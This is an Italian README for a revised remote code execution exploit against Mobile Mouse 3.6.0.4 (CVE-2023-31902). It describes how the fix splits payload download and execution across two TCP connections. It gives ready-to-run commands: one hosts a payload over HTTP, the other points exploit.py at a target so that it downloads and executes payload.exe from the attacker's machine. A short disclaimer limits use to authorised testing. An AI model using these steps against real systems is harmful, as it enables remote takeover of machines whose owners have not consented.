Mobile Mouse 3.6.0.4 RCE - Correzione

Una versione corretta dell'exploit di esecuzione remota di codice per Mobile Mouse 3.6.0.4 pubblicato come EDB-51010.

Vulnerabilità

• CVE: CVE-2023-31902
• Versione interessata: Mobile Mouse 3.6.0.4
• Porta predefinita: TCP/9099

Cosa è stato corretto

L'exploit originale scarica correttamente il payload ma potrebbe non riuscire a eseguirlo perché entrambe le fasi utilizzano la stessa connessione TCP.

Questa versione:

• Scarica il payload tramite la prima sessione
• Attende il completamento del download
• Apre una nuova connessione
• Ripete l'handshake di Mobile Mouse
• Esegue il payload scaricato

Utilizza inoltre sendall(), percorsi Windows correttamente escapati, timeout di socket e una gestione base degli errori.

Utilizzo

Avvia un server HTTP nella directory del payload:

python3 -m http.server 8080

Esegui l'exploit:

python3 exploit.py \
  --target 192.168.1.50 \
  --lhost 192.168.1.10 \
  --file payload.exe

Esclusione di responsabilità

Questo progetto è destinato esclusivamente a test di sicurezza autorizzati e a ricerca educativa. Non utilizzarlo contro sistemi senza autorizzazione esplicita.